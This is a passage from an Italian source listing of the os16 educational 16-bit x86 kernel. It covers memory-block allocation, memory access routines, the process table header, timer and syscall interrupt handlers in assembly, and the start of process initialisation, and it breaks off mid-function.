1550006 #include <sys/types.h>
1550007 //----------------------------------------------------------------------
1550008 #define MEM_BLOCK_SIZE     256  // 0x0100
1550009 #define MEM_MAX_BLOCKS    2560  // 655360/256 = 0xA0000/0x0100 = 0x0A00
1550010
1550011 extern uint16_t mb_table[MEM_MAX_BLOCKS/16]; // Memory blocks map.
1550012 //----------------------------------------------------------------------
1550013 typedef unsigned long int addr_t;
1550014 typedef unsigned int      segment_t;
1550015 typedef unsigned int      offset_t;
1550016 //----------------------------------------------------------------------
1550017 typedef struct {
1550018     addr_t    address;
1550019     segment_t segment;
1550020     size_t    size;
1550021 } memory_t;
1550022 //----------------------------------------------------------------------
1550023 addr_t    address       (segment_t segment, offset_t offset);
1550024 //----------------------------------------------------------------------
1550025 uint16_t *mb_reference  (void);
1550026 ssize_t   mb_alloc      (addr_t address, size_t size);
1550027 void      mb_free       (addr_t address, size_t size);
1550028 int       mb_alloc_size (size_t size, memory_t *allocated);
1550029 //----------------------------------------------------------------------
1550030 void      mem_copy      (addr_t orig, addr_t dest, size_t size);
1550031 size_t    mem_read      (addr_t start, void *buffer, size_t size);
1550032 size_t    mem_write     (addr_t start, void *buffer, size_t size);
1550033 //----------------------------------------------------------------------
1550034
1550035 #endif
```

105.8.1 kernel/memory/address.c

Si veda la sezione 104.7.

```
1560001 #include <kernel/memory.h>
1560002 //----------------------------------------------------------------------
1560003 addr_t
1560004 address (segment_t segment, offset_t offset)
1560005 {
1560006     addr_t a;
1560007     a  = segment;
```

```
1560008     a *= 16;
1560009     a += offset;
1560010     return (a);
1560011 }
1560012
1560013
1560014
1560015
1560016
1560017
1560018
1560019
1560020
```

105.8.2 kernel/memory/mb_alloc.c

Si veda la sezione 104.7.

```
1570001 #include <kernel/memory.h>
1570002 #include <kernel/ibm_i86.h>
1570003 #include <sys/os16.h>
1570004 #include <kernel/k_libc.h>
1570005 //----------------------------------------------------------------------
1570006 static int mb_block_set1   (int block);
1570007 //----------------------------------------------------------------------
1570008 ssize_t
1570009 mb_alloc (addr_t address, size_t size)
1570010 {
1570011     unsigned int bstart;
1570012     unsigned int bsize;
1570013     unsigned int bend;
1570014     unsigned int i;
1570015     ssize_t      allocated = 0;
1570016     addr_t       block_address;
1570017
1570018     if (size == 0)
1570019       {
1570020         //
1570021         // Zero means the maximum size.
1570022         //
1570023         bsize  = 0x10000L / MEM_BLOCK_SIZE;
1570024       }
1570025     else
1570026       {
1570027         bsize  = size / MEM_BLOCK_SIZE;
1570028       }
1570029
1570030     bstart = address / MEM_BLOCK_SIZE;
1570031
1570032     if (size % MEM_BLOCK_SIZE)
1570033       {
```

```
1570034            bend = bstart + bsize;
1570035          }
1570036        else
1570037          {
1570038            bend = bstart + bsize - 1;
1570039          }
1570040
1570041        for (i = bstart; i <= bend; i++)
1570042          {
1570043            if (mb_block_set1 (i))
1570044              {
1570045                allocated += MEM_BLOCK_SIZE;
1570046              }
1570047            else
1570048              {
1570049                block_address = i;
1570050                block_address *= MEM_BLOCK_SIZE;
1570051                k_printf ("Kernel alert: mem block %04x, at address ", i);
1570052                k_printf ("%05lx, already allocated!\n", block_address);
1570053                break;
1570054              }
1570055          }
1570056        return (allocated);
1570057    }
1570058
1570059    //----------------------------------------------------------------------
1570060    static int
1570061    mb_block_set1 (int block)
1570062    {
1570063        int i          = block / 16;
1570064        int j          = block % 16;
1570065        uint16_t mask = 0x8000 >> j;
1570066        if (mb_table[i] & mask)
1570067          {
1570068            return (0);      // The block is already set to 1 inside the map!
1570069          }
1570070        else
1570071          {
1570072            mb_table[i] = mb_table[i] | mask;
1570073            return (1);
1570074          }
1570075    }
```

105.8.3 kernel/memory/mb_alloc_size.c

Si veda la sezione 104.7.

```
1580001    #include <kernel/memory.h>
1580002    #include <kernel/ibm_i86.h>
1580003    #include <sys/os16.h>
1580004    #include <errno.h>
```

```
1580005 //----------------------------------------------------------------------
1580006 static int mb_block_status (int block);
1580007 //----------------------------------------------------------------------
1580008 int
1580009 mb_alloc_size (size_t size, memory_t *allocated)
1580010 {
1580011     unsigned int bsize;
1580012     unsigned int i;
1580013     unsigned int j;
1580014     unsigned int found = 0;
1580015     addr_t       alloc_addr;
1580016     ssize_t      alloc_size;
1580017 
1580018     if (size == 0)
1580019       {
1580020         //
1580021         // Zero means the maximum size.
1580022         //
1580023         bsize = 0x10000L / MEM_BLOCK_SIZE;
1580024       }
1580025     else if (size % MEM_BLOCK_SIZE)
1580026       {
1580027         bsize = size / MEM_BLOCK_SIZE + 1;
1580028       }
1580029     else
1580030       {
1580031         bsize = size / MEM_BLOCK_SIZE;
1580032       }
1580033 
1580034     for (i = 0; i < (MEM_MAX_BLOCKS - bsize) && !found; i++)
1580035       {
1580036         for (j = 0; j < bsize; j++)
1580037           {
1580038             found = !mb_block_status (i+j);
1580039             if (!found)
1580040               {
1580041                 i += j;
1580042                 break;
1580043               }
1580044           }
1580045       }
1580046 
1580047     if (found && (j == bsize))
1580048       {
1580049         alloc_addr  = i - 1;
1580050         alloc_addr *= MEM_BLOCK_SIZE;
1580051         alloc_size  = bsize * MEM_BLOCK_SIZE;
1580052         alloc_size  = mb_alloc (alloc_addr, (size_t) alloc_size);
1580053         if (alloc_size <= 0)
1580054           {
1580055             errset (ENOMEM);
1580056             return (-1);
```

```
1580057             }
1580058           else if (alloc_size < size)
1580059             {
1580060               mb_free (alloc_addr, (size_t) alloc_size);
1580061               errset (ENOMEM);
1580062               return (-1);
1580063             }
1580064           else
1580065             {
1580066               allocated->address = alloc_addr;
1580067               allocated->segment = alloc_addr / 16;
1580068               allocated->size    = (size_t) alloc_size;
1580069             }
1580070           return (0);
1580071         }
1580072       else
1580073         {
1580074           errset (ENOMEM);
1580075           return (-1);
1580076         }
1580077 }
1580078 //----------------------------------------------------------------------
1580079 static int
1580080 mb_block_status (int block)
1580081 {
1580082     int i         = block / 16;
1580083     int j         = block % 16;
1580084     uint16_t mask = 0x8000 >> j;
1580085     return ((int) (mb_table[i] & mask));
1580086 }
```

105.8.4 kernel/memory/mb_free.c

Si veda la sezione 104.7.

```
1590001 #include <kernel/memory.h>
1590002 #include <kernel/ibm_i86.h>
1590003 #include <sys/os16.h>
1590004 #include <kernel/k_libc.h>
1590005 //----------------------------------------------------------------------
1590006 static int mb_block_set0   (int block);
1590007 //----------------------------------------------------------------------
1590008 void
1590009 mb_free (addr_t address, size_t size)
1590010 {
1590011     unsigned int bstart;
1590012     unsigned int bsize;
1590013     unsigned int bend;
1590014     unsigned int i;
1590015     addr_t       block_address;
1590016     if (size == 0)
```

```
1590017         {
1590018           //
1590019           // Zero means the maximum size.
1590020           //
1590021           bsize  = 0x10000L / MEM_BLOCK_SIZE;
1590022         }
1590023       else
1590024         {
1590025           bsize  = size / MEM_BLOCK_SIZE;
1590026         }
1590027 
1590028       bstart = address / MEM_BLOCK_SIZE;
1590029 
1590030       if (size % MEM_BLOCK_SIZE)
1590031         {
1590032           bend = bstart + bsize;
1590033         }
1590034       else
1590035         {
1590036           bend = bstart + bsize - 1;
1590037         }
1590038 
1590039       for (i = bstart; i <= bend; i++)
1590040         {
1590041           if (mb_block_set0 (i))
1590042             {
1590043               ;
1590044             }
1590045           else
1590046             {
1590047               block_address = i;
1590048               block_address *= MEM_BLOCK_SIZE;
1590049               k_printf ("Kernel alert: mem block %04x, at address ", i);
1590050               k_printf ("%05lx, already released!\n", block_address);
1590051             }
1590052         }
1590053   }
1590054   //----------------------------------------------------------------------
1590055   static int
1590056   mb_block_set0 (int block)
1590057   {
1590058       int i         = block / 16;
1590059       int j         = block % 16;
1590060       uint16_t mask = 0x8000 >> j;
1590061       if (mb_table[i] & mask)
1590062         {
1590063           mb_table[i] = mb_table[i] & ~mask;
1590064           return (1);
1590065         }
1590066       else
1590067         {
1590068           return (0);     // The block is already set to 0 inside the map!
```

```
1590069         }
1590070 }
```

105.8.5 kernel/memory/mb_reference.c

Si veda la sezione 104.7.

```
1600001 #include <stdint.h>
1600002 #include <kernel/memory.h>
1600003 //----------------------------------------------------------------------
1600004 uint16_t *
1600005 mb_reference (void)
1600006 {
1600007     return mb_table;
1600008 }
1600009
```

105.8.6 kernel/memory/mb_table.c

Si veda la sezione 104.7.

```
1610001 #include <kernel/memory.h>
1610002 #include <stdint.h>
1610003 //----------------------------------------------------------------------
1610004 uint16_t mb_table[MEM_MAX_BLOCKS/16]; // Memory blocks map.
1610005 //----------------------------------------------------------------------
```

105.8.7 kernel/memory/mem_copy.c

Si veda la sezione 104.7.

```
1620001 #include <kernel/memory.h>
1620002 #include <kernel/ibm_i86.h>
1620003 #include <sys/os16.h>
1620004 //----------------------------------------------------------------------
1620005 void
1620006 mem_copy (addr_t orig, addr_t dest, size_t size)
1620007 {
1620008     segment_t seg_orig = orig / 16;
1620009     offset_t  off_orig = orig % 16;
1620010     segment_t seg_dest = dest / 16;
1620011     offset_t  off_dest = dest % 16;
1620012     ram_copy (seg_orig, off_orig, seg_dest, off_dest, size);
1620013 }
```

105.8.8 kernel/memory/mem_read.c

Si veda la sezione 104.7.

```
1630001 #include <kernel/memory.h>
1630002 #include <kernel/ibm_i86.h>
1630003 #include <sys/os16.h>
1630004 //----------------------------------------------------------------------
1630005 size_t
1630006 mem_read (addr_t start, void *buffer, size_t size)
1630007 {
1630008     unsigned int      segment = start / 16;
1630009     unsigned int      offset  = start % 16;
1630010     unsigned long int end;
1630011     end  = start;
1630012     end += size;
1630013     if (end > 0x000FFFFFL)
1630014       {
1630015         size = 0x000FFFFFL - start;
1630016       }
1630017     ram_copy (segment, offset, seg_d (), (unsigned int) buffer, size);
1630018     return (size);
1630019 }
```

105.8.9 kernel/memory/mem_write.c

Si veda la sezione 104.7.

```
1640001 #include <kernel/memory.h>
1640002 #include <kernel/ibm_i86.h>
1640003 #include <sys/os16.h>
1640004 //----------------------------------------------------------------------
1640005 size_t
1640006 mem_write (addr_t start, void *buffer, size_t size)
1640007 {
1640008     unsigned int      segment = start / 16;
1640009     unsigned int      offset  = start % 16;
1640010     unsigned long int end;
1640011     end  = start;
1640012     end += size;
1640013     if (end > 0x000FFFFFL)
1640014       {
1640015         size = 0x000FFFFFL - start;
1640016       }
1640017     ram_copy (seg_d (), (unsigned int) buffer, segment, offset, size);
1640018     return (size);
1640019 }
```

105.9 os16: «kernel/proc.h»

Si veda la sezione 104.8.

```
1650001 #ifndef _KERNEL_PROC_H
1650002 #define _KERNEL_PROC_H  1
1650003
1650004 #include <kernel/devices.h>
1650005 #include <kernel/memory.h>
1650006 #include <kernel/fs.h>
1650007 #include <kernel/tty.h>
1650008 #include <sys/types.h>
1650009 #include <sys/stat.h>
1650010 #include <sys/os16.h>
1650011 #include <stddef.h>
1650012 #include <stdint.h>
1650013 #include <time.h>
1650014
1650015 //----------------------------------------------------------------------
1650016 #define CLOCK_FREQUENCY_DIVISOR     65535 // [1]
1650017 //
1650018 // [1]
1650019 // Internal clock frequency is (3579545/3) Hz.
1650020 // This value is divided by 65535 (0xFFFF) giving 18.2 Hz.
1650021 // The divisor value, 65535, if fixed!
1650022 //
1650023 //----------------------------------------------------------------------
1650024 #define PROC_EMPTY                          0
1650025 #define PROC_CREATED                        1
1650026 #define PROC_READY                          2
1650027 #define PROC_RUNNING                        3
1650028 #define PROC_SLEEPING                       4
1650029 #define PROC_ZOMBIE                         5
1650030 //----------------------------------------------------------------------
1650031 #define MAGIC_OS16              0x6F733136L  // os16
1650032 #define MAGIC_OS16_APPL         0x6170706CL  // appl
1650033 #define MAGIC_OS16_KERN         0x6B65726EL  // kern
1650034 //----------------------------------------------------------------------
1650035 #define PROCESS_MAX  16                     // Process slots.
1650036
1650037 typedef struct {
1650038     pid_t               ppid;               // Parent PID.
1650039     pid_t               pgrp;               // Process group ID.
1650040     uid_t               uid;                // Real user ID
1650041     uid_t               euid;               // Effective user ID.
1650042     uid_t               suid;               // Saved user ID.
1650043     dev_t               device_tty;         // Controlling terminal.
1650044     char                path_cwd[PATH_MAX];
1650045                                             // Working directory path.
1650046     inode_t            *inode_cwd;          // Working directory inode.
1650047     int                 umask;              // File creation mask.
1650048     unsigned long int sig_status;           // Active signals.
1650049     unsigned long int sig_ignore;           // Signals to be ignored.
```

```
1650050     clock_t           usage;            // Clock ticks CPU time usage.
1650051     unsigned int      status;
1650052     int               wakeup_events;    // Wake up for something.
1650053     int               wakeup_signal;    // Signal waited.
1650054     unsigned int      wakeup_timer;     // Seconds to wait for.
1650055     addr_t            address_i;
1650056     segment_t         segment_i;
1650057     size_t            size_i;
1650058     addr_t            address_d;
1650059     segment_t         segment_d;
1650060     size_t            size_d;
1650061     uint16_t          sp;
1650062     int               ret;
1650063     char              name[PATH_MAX];
1650064     fd_t              fd[FOPEN_MAX];
1650065 } proc_t;
1650066 
1650067 extern proc_t   proc_table[PROCESS_MAX];
1650068 //----------------------------------------------------------------------
1650069 typedef struct {
1650070     uint32_t filler0;
1650071     uint32_t magic0;
1650072     uint32_t magic1;
1650073     uint16_t segoff;
1650074     uint16_t etext;
1650075     uint16_t edata;
1650076     uint16_t ebss;
1650077     uint16_t ssize;
1650078 } header_t;
1650079 //----------------------------------------------------------------------
1650080 void         _ivt_load          (void);
1650081 #define      ivt_load()         (_ivt_load ())
1650082 void         proc_init          (void);
1650083 void         proc_scheduler     (uint16_t *sp, segment_t *segment);
1650084 void         sysroutine         (uint16_t *sp, segment_t *segment,
1650085                                  uint16_t syscallnr, uint16_t msg_off,
1650086                                  uint16_t msg_size);
1650087 proc_t      *proc_reference     (pid_t pid);
1650088 //----------------------------------------------------------------------
1650089 int          proc_sys_exec      (uint16_t *sp, segment_t *segment_d,
1650090                                  pid_t pid, const char *path,
1650091                                  unsigned int argc, char *arg_data,
1650092                                  unsigned int envc, char *env_data);
1650093 void         proc_sys_exit      (pid_t pid, int status);
1650094 pid_t        proc_sys_fork      (pid_t ppid, uint16_t sp);
1650095 int          proc_sys_kill      (pid_t pid_killer, pid_t pid_target,
1650096                                  int sig);
1650097 int          proc_sys_seteuid   (pid_t pid, uid_t euid);
1650098 int          proc_sys_setuid    (pid_t pid, uid_t uid);
1650099 sighandler_t proc_sys_signal    (pid_t pid, int sig,
1650100                                  sighandler_t handler);
1650101 pid_t        proc_sys_wait      (pid_t pid, int *status);
```

```
1650102 //----------------------------------------------------------------------
1650103 void         proc_dump_memory   (pid_t pid, addr_t address,
1650104                                  size_t size, char *name);
1650105 void         proc_available     (pid_t pid);
1650106 pid_t        proc_find          (segment_t segment_d);
1650107 void         proc_sch_signals   (void);
1650108 void         proc_sch_terminals (void);
1650109 void         proc_sch_timers    (void);
1650110 void         proc_sig_chld      (pid_t parent, int sig);
1650111 void         proc_sig_cont      (pid_t pid, int sig);
1650112 void         proc_sig_core      (pid_t pid, int sig);
1650113 int          proc_sig_ignore    (pid_t pid, int sig);
1650114 void         proc_sig_off       (pid_t pid, int sig);
1650115 void         proc_sig_on        (pid_t pid, int sig);
1650116 int          proc_sig_status    (pid_t pid, int sig);
1650117 void         proc_sig_stop      (pid_t pid, int sig);
1650118 void         proc_sig_term      (pid_t pid, int sig);
1650119
1650120 #endif
```

105.9.1 kernel/proc/_isr.s

Si veda la sezione 104.8.1.

```
1660001 .extern _proc_scheduler
1660002 .extern _sysroutine
1660003 .global __ksp
1660004 .global __clock_ticks
1660005 .global __clock_seconds
1660006 .global isr_1C
1660007 .global isr_80
1660008 ;-----------------------------------------------------------------------
1660009 ; The kernel code segment starts at 0x10500 (segment 0x1050).
1660010 ; The kernel data segments start at 0x00500 (segment 0x0050).
1660011 ; To switch to the kernel data segments, DS, ES and SS are set to
1660012 ; 0x0050. To identify the kernel context, the DS register is checked:
1660013 ; if it is equal to 0x0050, it is the kernel.
1660014 ;-----------------------------------------------------------------------
1660015 .data
1660016 ;-----------------------------------------------------------------------
1660017 .align 2
1660018 proc_ss_0:        .word 0x0000
1660019 proc_sp_0:        .word 0x0000
1660020 proc_ss_1:        .word 0x0000
1660021 proc_sp_1:        .word 0x0000
1660022 proc_syscallnr:   .word 0x0000
1660023 proc_msg_offset:  .word 0x0000
1660024 proc_msg_size:    .word 0x0000
1660025 __ksp:            .word 0x0000
1660026 __clock_ticks:
1660027 ticks_lo:         .word 0x0000
```

```
1660028 ticks_hi:        .word 0x0000
1660029 __clock_seconds:
1660030 seconds_lo:      .word 0x0000
1660031 seconds_hi:      .word 0x0000
1660032 ;-----------------------------------------------------------------------
1660033 .text
1660034 ;-----------------------------------------------------------------------
1660035 ; IRQ 0: "timer".
1660036 ; IRQ 0 is associated to INT 8, and after the BIOS work is done,
1660037 ; INT 1C is called. Standard INT 1C has nothing to do, but is
1660038 ; useful to call extra work for the timer. As the original BIOS
1660039 ; interrupts are used, the INT 1C is reprogrammed, keeping intact
1660040 ; the Standard INT 8.
1660041 ;-----------------------------------------------------------------------
1660042 .align 2
1660043 isr_1C:
1660044     ;-------------------------------------------------------------------
1660045     ; Inside the process stack, the CPU already put:
1660046     ;
1660047     ;       [omissis]
1660048     ;       push flags
1660049     ;       push cs
1660050     ;       push ip
1660051     ;-------------------------------------------------------------------
1660052     ;
1660053     ; Save into process stack:
1660054     ;
1660055     push   es   ; extra segment
1660056     push   ds   ; data segment
1660057     push   di   ; destination index
1660058     push   si   ; source index
1660059     push   bp   ; base pointer
1660060     push   bx   ; BX
1660061     push   dx   ; DX
1660062     push   cx   ; CX
1660063     push   ax   ; AX
1660064     ;
1660065     ; Set the data segments to the kernel data area,
1660066     ; so that the following variables can be accessed.
1660067     ;
1660068     mov ax, #0x0050  ; DS and ES.
1660069     mov ds, ax       ;
1660070     mov es, ax       ;
1660071     ;
1660072     ; Increment time counters, to keep time.
1660073     ;
1660074     add ticks_lo, #1    ; Clock ticks counter.
1660075     adc ticks_hi, #0    ;
1660076     ;
1660077     mov dx, ticks_hi    ;
1660078     mov ax, ticks_lo    ; DX := ticks % 18
1660079     mov cx, #18         ;
```

```
1660080      div cx              ;
1660081      mov ax, #0          ; If the ticks value can be divided by 18,
1660082      cmp ax, dx          ; the seconds is incremented by 1.
1660083      jnz L1              ;
1660084      add seconds_lo, #1  ;
1660085      adc seconds_hi, #0  ;
1660086      ;
1660087  L1: ; Save process stack registers into kernel data segment.
1660088      ;
1660089      mov proc_ss_0, ss   ; Save process stack segment.
1660090      mov proc_sp_0, sp   ; Save process stack pointer.
1660091      ;
1660092      ; Check if it is already in kernel mode.
1660093      ;
1660094      mov dx, proc_ss_0
1660095      mov ax, #0x0050     ; Kernel data area.
1660096      cmp dx, ax
1660097      je L2
1660098      ;
1660099      ; If we are here, a user process was interrupted.
1660100      ; Switch to the kernel stack.
1660101      ;
1660102      mov ax, #0x0050     ; Kernel data area.
1660103      mov ss, ax
1660104      mov sp, __ksp
1660105      ;
1660106      ; Call the scheduler.
1660107      ;
1660108      push #proc_ss_0     ; &proc_ss_0
1660109      push #proc_sp_0     ; &proc_sp_0
1660110      call _proc_scheduler
1660111      add  sp, #2
1660112      add  sp, #2
1660113      ;
1660114      ; Restore process stack registers from kernel data segment.
1660115      ;
1660116      mov ss, proc_ss_0   ; Restore process stack segment.
1660117      mov sp, proc_sp_0   ; Restore process stack pointer.
1660118      ;
1660119  L2: ; Restore from process stack:
1660120      ;
1660121      pop    ax
1660122      pop    cx
1660123      pop    dx
1660124      pop    bx
1660125      pop    bp
1660126      pop    si
1660127      pop    di
1660128      pop    ds
1660129      pop    es
1660130      ;
1660131      ; Return from interrupt: will restore CS:IP and FLAGS
```

```
1660132         ; from process stack.
1660133         ;
1660134         iret
1660135     ;----------------------------------------------------------------------
1660136     ; Syscall.
1660137     ;----------------------------------------------------------------------
1660138     .align 2
1660139     isr_80:
1660140         ;------------------------------------------------------------------
1660141         ; Inside the process stack, we already have:
1660142         ;       push #message_size
1660143         ;       push &message_structure     ; the relative address of it
1660144         ;       push #syscall_number
1660145         ;       push #back_address  ; made by a call to _sys function
1660146         ;       push flags          ; made by int #0x80
1660147         ;       push cs             ; made by int #0x80
1660148         ;       push ip             ; made by int #0x80
1660149         ;------------------------------------------------------------------
1660150         ;
1660151         ; Save into process stack:
1660152         ;
1660153         push   es   ; extra segment
1660154         push   ds   ; data segment
1660155         push   di   ; destination index
1660156         push   si   ; source index
1660157         push   bp   ; base pointer
1660158         push   bx   ; BX
1660159         push   dx   ; DX
1660160         push   cx   ; CX
1660161         push   ax   ; AX
1660162         ;
1660163         ; Set the data segments to the kernel data area,
1660164         ; so that the following variables can be accessed.
1660165         ;
1660166         mov ax, #0x0050     ; DS and ES.
1660167         mov ds, ax          ;
1660168         mov es, ax          ;
1660169         ;
1660170         ; Save process stack registers into kernel data segment.
1660171         ;
1660172         mov proc_ss_1, ss   ; Save process stack segment.
1660173         mov proc_sp_1, sp   ; Save process stack pointer.
1660174         ;
1660175         ; Save some more data, from the system call.
1660176         ;
1660177         mov bp, sp
1660178         mov ax, +26[bp]
1660179         mov proc_syscallnr,  ax
1660180         mov ax, +28[bp]
1660181         mov proc_msg_offset, ax
1660182         mov ax, +30[bp]
1660183         mov proc_msg_size,   ax
```

```
1660184         ;
1660185         ; Check if it is already the kernel stack.
1660186         ;
1660187         mov dx, ss
1660188         mov ax, #0x0050     ; Kernel data area.
1660189         cmp dx, ax
1660190         jne L3
1660191         ;
1660192         ; It is already the kernel stack, so, the variable "_ksp" is
1660193         ; aligned to current stack pointer. This way, the first syscall
1660194         ; can work without having to set the "_ksp" variable to some
1660195         ; reasonable value.
1660196         ;
1660197         mov __ksp, sp
1660198         ;
1660199     L3: ; Switch to the kernel stack.
1660200         ;
1660201         mov ax, #0x0050     ; Kernel data area.
1660202         mov ss, ax
1660203         mov sp, __ksp
1660204         ;
1660205         ; Call the external hardware interrupt handler.
1660206         ;
1660207         push proc_msg_size
1660208         push proc_msg_offset
1660209         push proc_syscallnr
1660210         push #proc_ss_1     ; &proc_ss_1
1660211         push #proc_sp_1     ; &proc_sp_1
1660212         call _sysroutine
1660213         add  sp, #2
1660214         add  sp, #2
1660215         add  sp, #2
1660216         add  sp, #2
1660217         add  sp, #2
1660218         ;
1660219         ; Restore process stack registers from kernel data segment.
1660220         ;
1660221         mov ss, proc_ss_1   ; Restore process stack segment.
1660222         mov sp, proc_sp_1   ; Restore process stack pointer.
1660223         ;
1660224         ; Restore from process stack:
1660225         ;
1660226         pop    ax
1660227         pop    cx
1660228         pop    dx
1660229         pop    bx
1660230         pop    bp
1660231         pop    si
1660232         pop    di
1660233         pop    ds
1660234         pop    es
1660235         ;
```

```
1660236        ; Return from interrupt: will restore CS:IP and FLAGS
1660237        ; from process stack.
1660238        ;
1660239        iret
```

105.9.2 kernel/proc/_ivt_load.s

Si veda la sezione 104.8.2.

```
1670001 .extern isr_1C
1670002 .extern isr_80
1670003 .global __ivt_load
1670004 ;-----------------------------------------------------------------------
1670005 .text
1670006 ;-----------------------------------------------------------------------
1670007 ; Load IVT.
1670008 ;
1670009 ; Currently, only the timer function and the syscall are loaded.
1670010 ;-----------------------------------------------------------------------
1670011 .align 2
1670012 __ivt_load:
1670013     enter #0, #0                ; No local variables.
1670014     pushf
1670015     cli
1670016     pusha
1670017     ;
1670018     mov   ax,   #0              ; Change the DS segment to 0.
1670019     mov   ds,   ax              ;
1670020     ;
1670021     mov   bx,   #112            ; Timer         INT 0x08 (8) --> 0x1C
1670022     mov   [bx], #isr_1C         ; offset
1670023     mov   bx,   #114            ;
1670024     mov   [bx], cs              ; segment
1670025     ;
1670026     mov   bx,   #512            ; Syscall       INT 0x80 (128)
1670027     mov   [bx], #isr_80         ; offset
1670028     mov   bx,   #514            ;
1670029     mov   [bx], cs              ; segment
1670030     ;
1670031     mov   ax,   #0x0050         ; Put the DS segment back to the right
1670032     mov   ds,   ax              ; value.
1670033     ;
1670034     ;
1670035     ;
1670036     popa
1670037     popf
1670038     leave
1670039     ret
```

105.9.3 kernel/proc/proc_available.c

Si veda la sezione 104.8.3.

```
1680001 #include <kernel/proc.h>
1680002 //----------------------------------------------------------------------
1680003 void
1680004 proc_available (pid_t pid)
1680005 {
1680006     proc_table[pid].ppid          = -1;
1680007     proc_table[pid].pgrp          = -1;
1680008     proc_table[pid].uid           = -1;
1680009     proc_table[pid].euid          = -1;
1680010     proc_table[pid].suid          = -1;
1680011     proc_table[pid].sig_status    = 0;
1680012     proc_table[pid].sig_ignore    = 0;
1680013     proc_table[pid].usage         = 0;
1680014     proc_table[pid].status        = PROC_EMPTY;
1680015     proc_table[pid].wakeup_events = 0;
1680016     proc_table[pid].wakeup_signal = 0;
1680017     proc_table[pid].wakeup_timer  = 0;
1680018     proc_table[pid].segment_i     = -1;
1680019     proc_table[pid].address_i     = -1L;
1680020     proc_table[pid].size_i        = -1;
1680021     proc_table[pid].segment_d     = -1;
1680022     proc_table[pid].address_d     = -1L;
1680023     proc_table[pid].size_d        = -1;
1680024     proc_table[pid].sp            = 0;
1680025     proc_table[pid].ret           = 0;
1680026     proc_table[pid].inode_cwd     = 0;
1680027     proc_table[pid].path_cwd[0]   = 0;
1680028     proc_table[pid].umask         = 0;
1680029     proc_table[pid].name[0]       = 0;
1680030 }
```

105.9.4 kernel/proc/proc_dump_memory.c

Si veda la sezione 104.8.4.

```
1690001 #include <kernel/proc.h>
1690002 #include <fcntl.h>
1690003 //----------------------------------------------------------------------
1690004 void
1690005 proc_dump_memory (pid_t pid, addr_t address, size_t size, char *name)
1690006 {
1690007     int     fdn;
1690008     char    buffer[SB_BLOCK_SIZE];
1690009     ssize_t size_written;
1690010     ssize_t size_written_total;
1690011     ssize_t size_read;
1690012     ssize_t size_read_total;
```

```
1690013     ssize_t size_total;
1690014     //
1690015     // Dump the code segment to disk.
1690016     //
1690017     fdn = fd_open (pid, name, (O_WRONLY|O_CREAT|O_TRUNC),
1690018                    (mode_t) (S_IFREG|00644));
1690019     if (fdn < 0)
1690020       {
1690021         //
1690022         // There is a problem: just let it go.
1690023         //
1690024         return;
1690025       }
1690026     //
1690027     // Fix size: (size_t) 0 is equivalent to (ssize_t) 0x10000.
1690028     //
1690029     size_total = size;
1690030     if (size_total == 0)
1690031       {
1690032         size_total = 0x10000;
1690033       }
1690034     //
1690035     // Read the memory and write it to disk.
1690036     //
1690037     for (size_read = 0, size_read_total = 0;
1690038          size_read_total < size_total;
1690039          size_read_total += size_read, address += size_read)
1690040       {
1690041         size_read = mem_read (address, buffer, SB_BLOCK_SIZE);
1690042         //
1690043         for (size_written = 0, size_written_total = 0;
1690044              size_written_total < size_read;
1690045              size_written_total += size_written)
1690046           {
1690047             size_written = fd_write (pid, fdn,
1690048                                      &buffer[size_written_total],
1690049                                      (size_t) (size_read - size_written_total));
1690050             //
1690051             if (size_written < 0)
1690052               {
1690053                 fd_close (pid, fdn);
1690054                 return;
1690055               }
1690056           }
1690057       }
1690058     fd_close (pid, fdn);
1690059 }
```

105.9.5 kernel/proc/proc_find.c

Si veda la sezione 104.8.5.

```
1700001 #include <kernel/proc.h>
1700002 #include <kernel/k_libc.h>
1700003 #include <kernel/diag.h>
1700004 //----------------------------------------------------------------------
1700005 pid_t
1700006 proc_find (segment_t segment_d)
1700007 {
1700008     int    pid;
1700009     addr_t address_d;
1700010     for (pid = 0; pid < PROCESS_MAX; pid++)
1700011       {
1700012         if (proc_table[pid].segment_d == segment_d)
1700013           {
1700014             break;
1700015           }
1700016       }
1700017     if (pid >= PROCESS_MAX)
1700018       {
1700019         address_d  = segment_d;
1700020         address_d *= 16;
1700021         k_printf ("\n"
1700022                   "Kernel panic: cannot find the interrupted process "
1700023                   "inside the process table. "
1700024                   "The wanted process has data segment 0x%04x \n"
1700025                   "(effective address %05lx)!\n",
1700026                   (unsigned int) segment_d, address_d);
1700027         print_proc_list ();
1700028         print_segments ();
1700029         k_printf (" ");
1700030         print_kmem ();
1700031         k_printf (" ");
1700032         print_time ();
1700033         k_printf ("\n");
1700034         print_mb_map ();
1700035         k_printf ("\n");
1700036         k_exit (0);
1700037       }
1700038     return (pid);
1700039 }
```

105.9.6 kernel/proc/proc_init.c

Si veda la sezione 104.8.6.

```
1710001 #include <kernel/proc.h>
1710002 #include <kernel/k_libc.h>
1710003 #include <string.h>
1710004 //----------------------------------------------------------------------
1710005 extern uint16_t _etext;
1710006 //----------------------------------------------------------------------
1710007 void
1710008 proc_init (void)
1710009 {
1710010     uint8_t  divisor_lo;
1710011     uint8_t  divisor_hi;
1710012     pid_t    pid;
1710013     int      fdn;                  // File descriptor index;
1710014     addr_t   start;                // Used for effective memory addresses.
1710015     size_t   size;                 // Used for memory allocation.
1710016     inode_t *inode;
1710017     sb_t    *sb;
1710018     //
1710019     // Clear interrupts (should already be cleared).
1710020     //
1710021     cli ();
1710022     //
1710023     // Load Interrupt vector table (IVT).
1710024     //
1710025     ivt_load ();
1710026     //
1710027     // Configure the clock: must be the original values, because
1710028     // the BIOS depends on it!
1710029     //
1710030     // Base frequency is 1193181 Hz and it should divided.
1710031     // Resulting frequency must be from 18.22 Hz and 1193181 Hz.
1710032     // The calculated value (the divisor) must be sent to the
1710033     // PIT (programmable interval timer), divided in two pieces.
1710034     //
1710035     divisor_lo = (CLOCK_FREQUENCY_DIVISOR & 0xFF);          // Low  byte.
1710036     divisor_hi = (CLOCK_FREQUENCY_DIVISOR / 0x100) & 0xFF; // High byte.
1710037     out_8 (0x43, 0x36);
1710038     out_8 (0x40, divisor_lo);        // Lower byte.
1710039     out_8 (0x40, divisor_hi);        // Higher byte.
1710040     //
1710041     // Set all memory reference to some invalid data.
1710042     //
1710043     for (pid = 0; pid < PROCESS_MAX; pid++)
1710044       {
1710045         proc_available (pid);
1710046       }
1710047     //
1710048     // Mount root file system.
1710049     //
```

```
1710050         inode = NULL;
1710051         sb = sb_mount (DEV_DSK0, &inode, MOUNT_DEFAULT);
1710052         if (sb == NULL || inode == NULL)
1710053           {
